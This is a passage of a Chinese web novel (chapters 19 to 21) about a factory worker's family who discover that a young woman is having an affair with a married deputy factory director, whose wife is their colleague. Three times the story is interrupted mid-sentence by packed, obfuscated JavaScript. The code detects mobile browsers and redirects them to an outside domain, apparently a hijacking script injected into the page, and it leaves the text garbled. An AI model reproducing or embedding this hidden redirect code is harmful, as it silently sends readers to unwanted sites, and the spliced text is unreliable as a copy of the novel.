“闻着就可香了。”小美顺着夸道，露出浅浅的微笑。 见姐姐和师傅都夸方楠，小丽心里又不平衡了，没忍住嘴里嘟囔了一句，“她连最简单的穿线打结都学不会，饭能做的多好吃。” 小美坐的小丽最近，当然是把妹妹的话听的一清二楚，但她不确定别人是否也听到了，尴尬一笑。 看别人都动筷了，也连忙夹了一筷子菜在妹妹碗里，“小丽，你不是爱吃这个吗，快吃吧。” 小丽看了看碗里的菜，那是她最不爱吃的茄子，又苦又涩。 她明明爱吃的是旁边的红烧肉！ 她了解她姐，她这是在警告自己少说话，她只好乖乖地吃掉姐姐给她夹的茄子。 没想到，她不情不愿地咬了一口后，这茄子却好吃到让她震惊。 外面一层深紫色的茄子皮被炸的微微酥脆，里面的茄子肉又很嫩滑，吃起来味道是酸酸甜甜的，还带着一点辣，丝毫没有吃到茄子本身的苦涩味，简直比肉还好吃。 这真是茄子吗？ 这到底是咋做的？ 国营饭店做的也没这个好吃啊！ 她以为是自己的味觉出了问题，连忙又夹了一块在嘴里细细品尝。 嗯嗯嗯更好吃了。 看堵住了妹妹的嘴，小美才放下心来开吃，她夹了一块红烧肉，其实她倒没有多爱吃这种油腻的东西，只不过离她最近，她就吃了。 没想到吃了以后，发现这肉吃起来跟别的红烧肉不太一样，虽然也是油的，但却油而不腻，还真是神奇。 “我从来没吃过这么好吃的红烧肉，方楠，没想到你手艺这么好。”小美夸道。 “小美姐，好吃你就多吃点。”方楠笑着回应。 方老头儿听见好吃，也想去夹一块，没想到被一旁的儿子抢了先。 “是啊，好吃就多吃点，都给你吃。”方老三把剩下的大半盘子红烧肉全倒进了小美的碗里，还好方家的碗够大，不然还盛不住这备胎的热情。 小美：“......” 她尴尬地看了看桌子上的其他人，大家的眼神此刻都落在她的身上，那些眼神里有的是惊讶，有的更多的是可怜...... 她真是造孽啊，追求者是个傻子。 这么多她咋吃啊，这么多好吃的菜，她还想再吃点别的呀！ 方老头叹了口气，无奈之下笑了一下，他给徐本英使了个眼色，意思好似是说，看看吧，这就是你生的缺心眼儿子。 徐本英同样用眼神骂了回去：你儿子，你儿子。 她实在忍不住了，用筷子尾巴狠狠地敲了一下方老三的脑袋，警告道：“你给老娘安分点，少给老娘出洋相。” 方老三已经幸福的迷糊了，他那里知道自己出了什么洋相，“妈，我又咋了，在我女神面前，你能不能给我留点面子。” 小美掩着嘴苦笑了一下，很为难的把筷子放了下来，这碗里的肉她根本就吃不完，但她也不再好意思夹别的菜了，那样就会更浪费了。 “三哥，你也真是的，哪儿有让人一下子吃这么多肉的，这肉很油的，再喜欢吃也不能一下子吃这么多啊。”方楠察觉到了小美的动作，拿着碗筷，立马起身，走到小美的跟前。 她把碗往前伸了伸，“小美姐，你赶几块肉到我碗里吧，我还想让你尝尝我其他的菜呢。” 小美有些犹豫，“这样不太好吧。” “那有啥的，你那碗是干净的，你刚才都没怎么动筷子，而且，我不在意这些的。” “那好吧，谢谢。”小美把碗里的红烧肉给方楠匀了几块过去。 小丽也爱吃红烧肉，连忙也在她姐的碗里直接夹了几块走，小美的碗这才空出了一大半。 方老头儿在一旁感慨，女孩子之间真好啊，可以吃一个碗里的红烧肉...... 可恶老三，都怪他，害他一块都没吃上。 想着不解恨，方老头儿也往方老三的头上狠狠敲了一筷子。 方老三正在揉他妈刚左边打起来的包，猝不及防地右边又被他爸打起来了一个包。 这个世界癫了，咋他爸也开始打人了？ 完了！那他以后本身就难的日子，以后要难上加难了。 他抱着脑袋叫，一旁的人都在笑。 酒过三巡，饭吃到一半，小美借着微微的醉意突然举起来一杯酒，要敬徐本英。 “徐阿姨，谢谢你，上次是你救了小丽一命，要不是你及时拿糖给她化了水喝，我可能就没这个妹妹了。这杯我敬你，我干了，您随意。” 徐本英看得出来小美这是有些醉了，但她知道小美的这几句话是真心实意的，因为她感受到了小美很爱她的这个妹妹。 “举手之劳，不要放在心上，你也少喝些罢，仔细喝多了头疼。” 小美摇了摇头，又喝掉了一杯，“小丽这孩子我知道，从小被我惯坏了，徐阿姨，她要是有平常惹你不开心的地方，我在这里替她赔罪了。到时候她实习结束，考核的时候，还麻烦您能多帮帮她。” 徐本英并没有一口答应，反而不轻不重道：“这孩子，说什么帮不帮的，考核这种事儿哪儿是我能决定的。不过小丽是我带的徒弟，要是真有我能帮得到的，我指定帮。” 小美微笑着抿了抿嘴，又点了点头，让人看不出来她脸上的情绪。 “行，李阿姨，有你这句话就够了，我再敬你最后一杯，你还是随意。” 喝完三杯酒，小美就晃晃悠悠地坐下了，方老三立马去屋里头给她接了杯热水，扶着她喝了下去。 “不能喝就别喝这么多，都是一家人，我妈肯定会帮小丽的。” 这些亲密的举动徐本英看在眼里觉得十分的刺眼，方楠也看了看她妈，露出了无措的表情。 徐本英是说过，这些事儿都要让老三自己去经历，也决定了这辈子不会再插手老三的事儿。 但这件事不一样，它牵扯了好几个人在里面，特别是李爱霞，之前帮了她那么大的忙。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129799|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她一定要搞清楚孙小美和石副厂长是什么关系，而眼下正是试探的机会，她不想错过。 “诶，小美。”徐本英喊了小美一声，又说，“说起两个孩子实习分配的事儿，我突然想起来，上次我在外面看见了你和我们厂的石副厂长在一起，看起来倒是挺熟的，不然你探探他的口风呗。” 本来半个身子还靠在方老三身上的小美，听到徐本英的这几句话，神情突然变了，身子也正了正，坐回了自己的位置上。 “小美，喝了水，你好些了没？”方老三一副担忧的模样，见小美不说话，又问：“我妈说你认识纺织厂的副厂长？之前咋没听你提过啊！” “是啊，姐，你咋还认识厂里的副厂长了，你也不告诉我。”小丽也跟着后面问道，她也十分好奇，既然她姐认识厂长，那还求方楠她妈干啥。 她只不过是厂里的一个老师傅罢了，方楠她都帮不了，咋可能能帮得了她！ 小美没回他们的话，反而恢复了之前的平静，柔声地反问徐本英了一句：“徐姨，您看错了吧，你确定看到的是我吗？” 孙小美这么一问，现在是换徐本英又不说话了。 越是不承认，越说明有鬼。 而同样看到两人在一起的方楠却没有她妈一半冷静。 副厂长？ 原来那个和小美姐举止亲密的男人是纺织厂的副厂长？ 难怪她妈当时看到了比她还震惊，她妈有没有看清楚她不知道，她可是看的清清楚楚，那就是小美姐。 但看小美姐这反映，是有些想把这件事掩盖过去的意思，那估计两人的关系和她们猜得八九不离十了，两人至少不是普通朋友那么简单。 既然她都能看出来，她妈心里肯定也有数了。 而眼下，小美姐不想让别人知道，不管这个人是小丽还是三哥，那都有她自己的原因，方楠连忙出来打圆场，“妈，我也觉得你可能是看错了，要是小美姐真认识厂里的领导，小丽留厂名额的事儿咋可能还会找你帮忙呢。” 徐本英撇了撇嘴，死丫头，还学会调侃你妈了。 不过她心里对女儿这一转变倒是挺开心的，这还是以前那个木讷的老四吗？ 她只好顺着女儿给的台阶，连忙承认自己当时可能是看错了。 后面的一点饭，大家都吃的各怀心思。 但总归氛围还算是不错，谁也没再提跟纺织厂有关的话题了。 直到最后，李家两姐妹离开方家之前，小美还是找到了徐本英，说想和她单独谈谈。 徐本英当然觉得没问题，她也想听听小美会跟她怎么说。 是摊牌？ 还是继续装傻？ 两人去了巷子的一处交叉口，这个位置非常适合谈话，不管是前面还是后面，只要有人来，就可以尽收眼底。 两人一站定，小美就立马先开口：“徐姨，您是在怪我不该接近建华且利用建华的事儿吗？” 徐本英面不改色地否认道：“那是你俩的事，我犯不着管。” “那您刚才在吃饭的时候特意提到您见过我和石副厂长的事，想必不会是无意的吧。” 徐本英倒是很欣赏小美这种有啥说啥的性子，也敞开道：“所以你现在是承认了你俩认识的事儿了？” 19. 第十九章 被徐本英反问，小美的脸上还是那种淡淡的微笑，她不紧不慢地回道。 “是，我们认识。我和他是在两个月前的一次打麻将中认识的，他听别人说起我有一个在纺织厂实习的妹妹，就主动加了我的联系方式，说他是厂里的领导，有办法让我的妹妹可以在最后关头留在纺织厂当女工。” “那你和他？” “各取所需咯，他都答应帮我了，我当然也要回报人家，反正跟那个男人不是跟呢？” “就因为这个？”徐本英觉得不能理解，明明两人相差那么多的年龄，对方还是有家庭的男人。 小美听了徐本英的质疑，露出比她还震惊的神色，而后苦笑了一下，便很快回复以往的平静，又用一种不痛不痒的语气说了一句，“徐阿姨，这个对我已经很重要了。” 徐本英没忍住提醒了一句，“小美，既然你叫我一声李阿姨，我就是你的长辈，我不得不多问一句。” 小美轻轻地‘嗯’了一声，“您问。” “你不知道他有老婆吗？” “我知道啊。”小美回答得很快，却笑的很勉强，“但他跟我说过，他不会让他老婆知道的。” 徐本英觉得可笑，无奈地摇了摇头。 小美见此，依旧维持着她那难看的笑容，用一种近乎恳求的语气道：“徐阿姨，您......能不能别把这事儿告诉小丽，她还小。” 徐本英看了看眼前的小姑娘，觉得可怜又可悲。 明明刚刚还是一副无所谓的态度，但现在为了守护自己在妹妹心中的形象和单纯的世界，在用一种卑微的语气和她说话。 她知道小美这些年一个人把妹妹带大，肯定过得很难，但是她并未被这些动容。 毕竟自己过的难，不是能拿来伤害别人的理由，李爱霞和李爱霞的孩子又做错了什么呢？ 徐本英不自觉地冷笑了一下，“我不会告诉她的。” 孙小美听到这个，终于松了口气，“徐阿姨，从今以后我不会再骗建华哥了，我会离他远远的，你放心。” “那是你的事，是你和方老三的事儿，我管不着你们，你不用跟我承诺什么。” 小美有些愕然徐本英对方老三的态度，她以前记得方老三跟她讲过，他妈是最宠爱他的，要什么就给什么，就算是把她自己的工作给了小丽，他妈也会同意的。 没想到他妈根本就不管他的事儿？ 也是，刚刚在饭桌上，她就已经察觉到了，这老太太对这个儿子还不如对女儿好，看来方老三之前那些话也都是蒙她的。 幸好没有把希望都寄托在他的身上，不然真是亏大了。 “他之前跟我说的......我还以为您很在意他的事儿。” “他是成年人，他该去经历的，我就算是当妈的我也管不着。不过我突然想到一件事儿，我觉得我应该告诉你。” “什么事儿？” “今天你不是说，很感谢我在厂里拿糖水救了你妹妹一命吗？” “是的，这事儿的恩情我记您一辈子。” “但我想跟你说的是，那几颗糖当时是我们厂的生产科科长李爱霞给我的。” 最后几个字徐本英几乎以一字一句说出来的，“而她是石峰的妻子。” “什么？”小美听到这句话，瞬间瞪大了眼睛。 小美后来和小丽离开方家的时候，跟来的那副样子截然不同，看起来有些颓废失神，徐本英知道是跟她说的那句话有关。 她不由得感慨，有时候人与人之间就是很奇怪，会有一些莫名其妙的缘分，比如李爱霞和孙小美就是如此。 送走了客人，方家三父子下午该上班的上班，该上学的上学，该休息的休息。 而徐本英和女儿两人仍在厨房里忙活。 不过不是在收拾残渣，也不是洗碗。 而是在给香蕉松饼包装牛皮纸。 因为要待客的缘故，想着反正也要做香蕉松饼出来，给孙家的姐妹尝尝，还不如一次性多做些，早点让李爱霞的表弟拿去省城卖卖看。 省的这事那事的一直耽搁着，处理起来没完没了，后面还不知道要把这件事拖到啥时候了。 徐本英昨天提前给李爱霞知会了一声，两人便一拍即合，说干就干。 所以这次方楠一次性做了好多松饼出来，母女俩正齐心协力的把这些都包装出来，等着李爱霞的表弟明天来取。 看着这些松饼一块一块被包了起来，马上就要拿去卖了，方楠有种满足感。 “妈，小丽和小美姐姐今天也说了这糕点好吃，看大家都爱吃我做的东西，我真开心。” 徐本英笑着逗女儿道：“傻女，这就开心了？那等以后挣大钱了，你不是要开心的合不拢嘴了？” “妈......”方楠听得出她妈是在逗她，害羞的红了脸。 后面母女俩又逗笑了几句别的，方楠才忽然想起她妈今天在餐桌上跟小美姐说的那个事儿。 她当时也是目击者，自然对这件事儿十分感兴趣。 “哦，对了，妈，你......说咱们那晚在外面看到和小美姐在一起的的那个男人是纺织厂里的副厂长？” 徐本英听到女儿这么问，脸上的笑意淡了去，‘嗯’了一声。 “我在厂子里也待了两个月了，我咋没在厂子里没见过他啊？”方楠继续问。 “傻丫头，纺织厂那么大，员工那么多，厂长虽说只有一个，但副厂长那可是有好几个呢，你咋能都见过。而且这个石副厂长他是管厂里材料进出口的，所以一直都在外面跑，你没见过才正常呢。我可告诉你，你以后要是找对象可别找这种老是在外面跑的，很容易就拈花惹草。” 方楠听她妈说起这个，又害羞了起来，红着脸：“妈，你咋突然说这个干啥啊！” 但没过几秒就反应了过来，惊呼，“妈，你的意思是说！这个石副厂长他已经有家庭了？” 徐本英叹了口气，觉得这事儿也没啥好瞒着的，还不如告诉老四，让她提前感受一下外面跑的男人不能找。 “你想想呢，那人年纪那么大了，怎么可能没家室？” “那......小美姐她知道吗？” “知道。” “那她还？这可是犯法的......”方楠不敢说下去了，停顿了几秒，才接着说：“妈，小美姐该不会是因为从小缺少父爱，才......一时糊涂了吧。” “你看你哥那样子是能给她父爱的人吗？先前还不是跟老三腻歪在一起。” “......” “说到底，她还是为了小丽进厂的事儿。” “那石副厂长真能帮小丽争取到留厂的名额？” “或许吧！我听说总厂那边的领导是他的亲戚。” “那小丽呢，她知不知道这事儿？” “看之前的反应，她不像是知道，这事儿你也别跟她讲，免得这孩子又闹出什么别的幺蛾子。” “行，我知道了妈。” 方楠刚答应完她妈，就听见她妈深深地叹了口气。 她有些担心地问道：“妈，你在愁啥，是在替三哥愁的吗？” 问完这个，方楠也跟着她妈叹了口气。 三哥那么喜欢小美姐，这他要是知道了，不知道该多伤心，她这个做妹妹的却一点忙也帮不上。 “不是！”徐本英否认后，接着说：“我是在替石副厂长的妻子愁！” 方楠惊讶地‘啊’了一声，“石副厂子的妻子？谁啊？” “那人你也认识，告诉你也无妨。” “谁？” “李爱霞。” “李阿姨？！”方楠有些不敢相信，一字一句地问。 怎么会是李阿姨？！ 徐本英无奈地点头，并‘嗯’了一下，算是承认。 “天呐，那我们这......要不要跟她说啊？这说了是伤害，不说也是一种伤害。”方楠吓得本能地咽了口吐沫，她现在终于知道她妈的愁了。 “再让妈好好想想吧，这事儿没那么简单！你可能不知道，咱们明城的纺织厂是分厂，总厂在省城里，在咱们这里建立新厂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129800|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没几年，石峰就被分到这个厂了，你李姨是在跟着他后面才进来的，如今能走到科长的位置也不容易，但这里面多多少少石峰是出了力的，两人在一个厂里工作，是同事也是夫妻，抬头不见低头见的，要是这事儿真闹大了，对他们谁都不好，特别是对你李姨。” 方楠似懂非懂的点了点头，大人的世界真是复杂，要是知道会造成如今的局面，当初她就不应该叫她妈看到那一幕了。 隔天晚上，徐本英吃完了晚饭，就按照和李爱霞约定好的时间，提着包好的松饼在自家巷子口等着李爱霞的表弟。 大约没等几分钟，就大老远看见一个陌生男人骑着自行车向她这边骑过来，小伙子看起来长得还不错，高高瘦瘦的，皮肤还是小麦色，但年龄不大，她还以为会跟李爱霞差不了几岁。 “你是徐姐？”男人看见她提着东西，像是在等人，主动停下车问。 “你是李爱霞的表弟？” “我是。” “那行。”说完徐本英就直接把糕点递给了他，“你先验验货。” “还验啥货，那是我表姐介绍的人，我还能信不过？” “那不行，做生意该是啥样就啥样，东西交给你了，你肯定得先验货。”徐本英坚持道。 男人笑了笑，露出了几颗白牙，“行，那我就尝尝。” 说完他就撕开其中的一包松饼，吃了起来，然后就露出了更多的白牙，“真好吃，没问题，和上次吃的一个味道。” “行，那你也别下车了，我把东西给你就行了。”徐本英说完话，准备转身走的。 “那不行，我还得下车了，给你拿定金呢！”男人用衣袖擦了擦嘴，长腿一迈，就垮下了车。 徐本英摆了摆手，解释道：“我之前就跟你表姐说过了，咱们现在是试卖期，不收你的钱，后面要是真的能挣钱了，咱们再谈。” “徐大姐，那可不行，你刚也说了，做生意该是啥样就是啥样，哪儿有我在你这儿收了货还不给钱的。” 说完就从上衣口袋里掏出了几张纸票塞到了徐本英的手里，“您拿着，这是定金，等我下次来收货的时候，再给您结尾款。” 徐本英看了看手里的几张纸票，也没再继续推搡了，看样子这李爱霞的表弟也是个爽快人，便把钱收了下来。 “成，那我就不跟你客气了。” 毕竟以后还要一起做生意的，客气来客气去的，徐本英也觉得没意思，反正她女儿的东西指定能卖的好，她还是有这个自信的。 看对方是个敞亮人，徐本英脑子一转，突然想到这人既然是李爱霞的表弟，那肯定比他们外人更加清楚李爱霞两口子的感情状况。 要不，在决定要不要告诉李爱霞之前先探探他的口风？ “小伙子！”徐本英叫了一声对面的年轻人。 “嗯，徐姐，还有啥事儿！” “我问你个事儿呗。” “嗯，您问。” “你可能会觉得徐姐唐突了，但你也别放在心上。”徐本英还是第一次觉得自己这么啰嗦。 “好，你说。”年轻人收起了笑容，突然变得严肃了起来。 “嗯......你觉得你姐和你姐夫两人这些年处得咋样儿？” “啊？”年轻人挠了挠头，他倒不是觉得这个问题有什么冒昧，毕竟他知道这个徐大姐是他表姐的旧相识，所以问这种问题可能也是出于关心，倒也没什么。 只是，他真的答不上来。 “大姐，真不是我不愿意跟你讲，而是我还真不知道这些事儿。我以前是在部队里当兵的，后来受了伤才退的伍。不过我倒是知道一点，我姐夫很少回家，一年在家里呆的时间不会超过一个月。” 原来是当过兵，徐本英就说这孩子身上有一股正气。 算了，他不知道也正常。 “行，那我知道了。”徐本英跟年轻人笑了笑，“那你快回吧，路上注意安全。” “好，那我走了，徐大姐你也快回去吧。”年轻人骑着车招了招手，很快他的背影就消失在漆黑的夜里。 20. 第二十章 徐本英洗漱后，躺在床上，久久睡不着，身旁的方老头儿也没睡着，眨巴个眼问她：“老婆子，你咋还不睡。” 徐本英盯着天花板，没好气道：“你不也没睡。” “你这翻来覆去的，我也睡不着啊。” “那正好，我问你个事儿呗。” “问了你是不是就能睡了？”方老头儿问。 “差不多吧。” “行，那你快问。” “如果，有一天，我在外面有别的男人了，你是希望自己知道还是不知道？” “啥？”方老头儿吓得一屁股从被窝里坐了起来，他顿时所有的觉都被吓没了，“老婆子，你在外面有别的男人了？” 徐本英狠狠地拍了他一掌，“我说的是如果，如果，如果！” 她特意强调了三遍，以表达自己的愤怒与无语。 “那你到底是有还是没有啊？”方老头儿依旧锲而不舍地追问。 “没有。”徐本英是真后悔问了，她咬牙切齿道：“我天天不是上班就是在家里，我去哪儿给你有别的男人啊！” 方老头儿想想也是，终于放下心来，又躺了回去，“那你好端端的假设这个干啥，我刚心脏病都快被你吓出来了。” “当然是给别人问的，你快说，别废话。” “那让我好好想想啊。”方老头儿沉思了好一阵，一直没说话，徐本英都以为他快要睡着了，没想到突然又冒出了声音。 “第一反应吧，正常人肯定都不会想知道，这种事儿打击多大啊，但是......” “但是什么，你快说。”徐本英着急道。 “但是一细想吧，又觉得还是知道的好。” 徐本英不解，问了一句：“为啥？” “你想想啊，纸是包不住火的，要想人不知，除非己莫为，如果真发生这种戳心窝子的事儿，我一直都不知道，到了最后才发现，那不是更绝望了吗？” 徐本英本能地点了点头，她认同方老头儿说的话。 的确如此，要是她，她估计也希望自己是知道的。 就算是清醒的痛苦着，也总比被人当傻子好。 又过了两天，徐本英从纺织厂下班，就在门口的位置等李爱霞，大约等了十来分钟，就看见李爱霞带着她的小女儿从幼儿园里走出来。 她那天晚上经过方老头的话后，又想了两天，她还是觉得应该把这事儿跟李爱霞讲。 方老头儿说的对，纸是包不住火的。 李爱霞拉着女儿果果的小手从厂办的幼儿园往外走，一抬头就看见了徐本英。 “徐姐，在这儿等谁呢，先前，我不是看见方楠那丫头早就回去了吗？” 徐本英朝她笑了笑，点了点头。 她当然知道方楠已经回去了，是她让老四早点回去的，叮嘱她多做两个菜。 她要今天晚上把李爱霞叫去家里吃饭，毕竟要讲的话也不是在外面一两句说得清的。 “等你呢。” “等我？”李爱霞张大了嘴巴，显然有些吃惊。 “是啊，老四的事儿一直都在让你帮忙，又是进厂实习，又是现在做糕点拿去卖，一直都想找个机会喊你去家里吃顿饭，我是想说今天你要是有时间，把果果带着去我家吃顿便饭呗。” “诶呀，徐姐，进厂的事儿那是你本身名下就有名额，做糕点那事就更算不上是什么帮忙了，明明是你家老四帮了我表弟的大忙，你这样说我都要不好意思了。” “别跟我客气了，爱霞，咱们本身也是老乡，又在一个厂做事儿，姐早就该喊你们一家去家里吃顿饭了。” “那多不好意思呀！”李爱霞笑的眼睛又眯了起来。 “唉呀，有啥不好意思的。”徐本英弯着腰去问李爱霞的小女儿：“果果，伯母家有个姐姐做了好吃的，邀请你去，你想不想去啊？” 李爱霞的女儿奶声奶气道：“是上次做香蕉松饼的那个姐姐吗？” 徐本英被逗笑，夸赞道：“对，果果真聪明，就是那个姐姐。” “那我要去，妈妈，你让果果去好不好，果果最喜欢你了。” “小馋鬼，你可算是把我这张嘴给遗传了。”李爱霞宠溺地摸了摸女儿的脑袋，又对徐本英说：“行，那就麻烦徐姐一家了。” 两人聊了一路，快走到李爱霞家楼下的时候，徐本英故意提起石峰，“诶，对了，爱霞，石副厂长不也在家吗，不知道他是否能赏脸也来我家吃个便饭呢。” “他？他没在家啊。”李爱霞迟疑了一下，又问，“徐姐，你咋会说石峰在家呢？” “哦，没啥，我就是前两天在东边儿巷尾的馄炖摊子上看见一个人，跟他很像，我还以为是他也回来了呢。” “是吗？”李爱霞淡淡地笑了一下，解释道：“他昨晚倒是有回家一趟，不过待了一会儿就又走了，前两天你看见的应该不会是他，估计是长得像罢了。” 不知是不是徐本英的错觉，她总觉得李爱霞脸上的笑容有些僵硬，有种说不出来的怪异。 方楠下午从纺织厂回来的有些仓促，来不及做一些费功夫的吃的，就炒了自己几个拿手的家常菜。 有农家小炒肉、清蒸鱼、拍黄瓜、炖茄子、炸豆梗、花生米，还有一个小孩子爱吃的炒火腿。 这些菜端上桌后，可谓是色香味俱全，徐本英一行人一回到老方家，香味就扑鼻而来，占据了她们的大脑，勾起了她们的味蕾。 “好香啊徐姐，你说这些都是你家老四做的？”李爱霞看着满满一桌子的菜，惊讶地问徐本英。 此刻她的吃货属性暴露，大脑里的神经此刻比谁都兴奋。 徐本英自豪地点了点头，“不说别的，我家老四做饭的手艺那是真的棒。” “徐姐，你家里的人真是好福气，每天都能吃到这么香的饭菜，这跟每天吃国营饭店有啥区别？” 徐本英知道李爱霞嘴甜，便笑着点了点头，连忙招呼着她和孩子入座。 “诶呀，大家肚子肯定都饿了，爱霞，你带果果洗好手了，就直接过来坐，把这儿当自己家一样，不许跟我客气啊。” “行。”李爱霞答应的干脆，连忙带自己小女儿去洗手了。 她已经迫不及待的想要尝尝这桌子上的每一道菜了。 徐本英走进屋子里头给小虎拿钱，让他去前头商店带几瓶汽水回来，剩下的钱就让他留着自己花。 小虎乐极了，攥住钱就飞奔了出去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129801|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等他把汽水买回家的时候，一群大人们刚入席，但他没看见他哥。 听姐说，他好像又被他那个喜欢的姐姐给叫出去了。 上次吃饭，他都看出来了，那姐姐根本就不喜欢他哥，都没拿正眼瞧过他三哥，要是他，以后才不要这样呢，真没骨气！ 不过三哥不在也好，那他的汽水钱就能省下来了，下次他要和隔壁的马龙偷偷地坐长途汽车跑更远的地方玩儿。 饭桌上，徐本英不知道要怎么开口，她酝酿了半天，突然想起来厂里大家都在讨论石副厂长调职的事儿，不如就从这事儿先说起吧。 “爱霞，厂子里最近都在说，石副厂长要调到省城？” “徐姐，我也不瞒你了，是有这事儿，只不过还没确定下来呢！” 饭菜可口，让李爱霞都没了心思多说话，眼里全是对食物的喜爱。 “真要是调了，那你和孩子？” “欣欣在外地上大学，我倒不操心她。省城那边的厂子我打听过了，也设的有幼儿园，大不了就带着果果跟着去呗，至于我嘛，虽然去了可能就当不上科长了，但别的我也能从头学啊。” 徐本英想着以后李爱霞要是走了，以后她就更没机会说了，还不如就现在直接说。 “爱霞，其实前两天我......” 徐本英的话还没说完，就被从外面跑回来的方老三给打断。 他的脸上一脸的焦躁，手上还拿着封信。 “妈，妈，快，这是小美给你的信，你快看看她要跟你说啥。” 徐本英皱着眉头，满脸都是对老三的嫌弃。 咋这烦人精早不出现，晚不出现，偏偏老娘要下定决心说出真相的时候出现了。 “没看见家里有客人呢，发疯滚一边儿疯去，管她什么信，老娘以后再看。” “妈，我求你了，你就赶快看吧，小美说了，她今晚就要走，她要带小丽离开明城。那天你俩到底背着我们说了啥啊，咋这好端端的，下个月小丽实习期结束就能进纺织厂了，她为啥这个时候要带小丽离开啊？” 离开明城？ 徐本英心里一惊，她不是非常重视小丽这次进厂的名额吗？ 只要她这次跟着石峰去省城任职，她妹妹进厂的事儿估计也八九不离十了。 咋突然就要走？ 要不先把信给看了？ 再决定要不要把这事儿说出来？ 她犹豫了半天，最终还是接过了老三手上的信，一边打开一边试探地问：“老三，这太阳打西边出来了，你都急成这样了，这信你路上就没偷看？” 老三喘着大粗气道：“小美说了，让我不许看，我一急就发了个毒誓。说我要是偷看，我将来就找不到一个正常媳妇儿。” “......” 徐本英觉得老三是纯属白发了这个誓，就他这样子，正常的女孩儿也看不上他。 “妈，你快看吧，都急死我了。”老三一直催，徐本英白了他一眼。 然后又看向一旁的李爱霞，客气道：“爱霞，你先吃，刚我要说的那事儿一会儿再跟你继续说啊，我先看个信啊。” 李爱霞这时嘴里包着不知道是什么好吃的，嘟哝着嘴连忙说好。 21. 第二十一章 徐本英跟李爱霞知会了一声，这才背过身子打开了信，把信仔细地看了起来。 “徐姨，您好，我是孙小美，我要带着小丽离开这里了，走之前我想给您写一封信。” “......”中间大概是一些感谢加客套的话，徐本英没太仔细看，重点是结尾的这段话。 “我没必要告诉您我经历了什么，更没必要告诉您我为啥这样做，我只想说一个人走一条错路不是突然才走上去的，而是一开始她就是生在这上面的。不过我不怪任何人，只要这条路能让我和妹妹都好好地活下去，我就会继续走。” “对于我来说，这个世界上只有两种人，一种是我妹妹，另一种就是其他的所有人。所以一个男人有没有妻子在我眼里根本没有差别，只要能给我带来我想要的东西就行。我想您在厂子里，也听说过石副厂长要被调去省城的事儿了吧？他跟我提过这个事儿，说他要带我一起去，还说一定帮我争取小丽留厂的名额，等她再干个几年了，也想办法把她调到省城里，给她安排到后勤，不用像普通女工那样辛苦的三班倒，但是条件是让我给他生个儿子。” “我本来还在犹豫，但是这事儿却被您发现了，所以我现在只能选择离开明城了。这还要多亏您提醒的我，石副厂长的妻子也在纺织厂工作呢，这要是将来真的都在一个厂子里上班，万一有一天东窗事发了，那样对小丽就更不利了。” “我已经跌入深渊了，就不会让小丽也和我一样被人看不起。我也想明白了，小丽还年轻，她又是中专毕业的，咋会找不到一份好的工作呢。” “还有，您家老三是个好人，但也仅此而已，我把话也已经跟他说清楚了，我从一开始就没喜欢过他，就是为了利用他，为了让他死心，我还骗了他，说我现在要去追求自己的幸福去了，这也算是我对您那顿饭的报答了。至于您要不要把我的事儿一五一十的告诉他或者是别人，我就不那么在乎了，反正在我的世界里，只要小丽不受伤害就行。” “......” 徐本英看完手里的信，心里有种说不出的沉重，其实以小丽的成绩和学历，她本是有很大可能留在纺织厂的。 而小美才真的是聪明反被聪明误了，现在不仅赔了夫人还折了兵。 老三看他妈脸色沉重，心里焦急，把她叫了好几声，才把她叫回了神。 “妈，小美给你的信里到底都说啥了？她咋突然就要走，她还跟我说什么要去追求自己的幸福？她的幸福不就是我吗？” 徐本英心里烦死了，冲着方老三就骂了一句：“给老娘滚一边去儿，人家在信里压根儿就没提到你，我要是她我也看不上你。” “妈，你太过分了！”老三气愤极了，吼了一声便转身又跑了。 徐本英面对这场面已经见惯不惯了，反观一旁的李爱霞倒尴尬了起来，她挠了挠头：“徐姐，你家老三这是咋了？” 徐本英笑了一下，连忙解释道：“就老三喜欢一姑娘，人家没看上他要走了，他一时接受不了罢了。” 李爱霞顿时笑出声来，笑得很大声，“诶哟喂，徐姐，我眼泪都快要笑出来了。” 徐本英觉得她突然笑得很不正常，便担心地问：“你咋了？” “我突然想起来啊，昨晚我家老石不是也回来一趟吗？他那样子啊跟你家老三刚才一模一样，不知道的还以为他也失恋了呢！” “......”徐本英有一种说不出来的直觉，她总觉得李爱霞是知道点什么。 吃到最后，方楠就跑去厨房里忙活别的去了，李阿姨晚上跟她带话，说她的糕点在省城卖的很好，她打算趁热打铁赶快再多做一些，请李阿姨的表弟再拿去卖。 虎子吃完了饭，也去厨房给他姐帮忙打下手，而方老头儿也进了房间里算着他的账本了，外面的饭桌上现在只剩下了徐本英在招呼李爱霞母女。 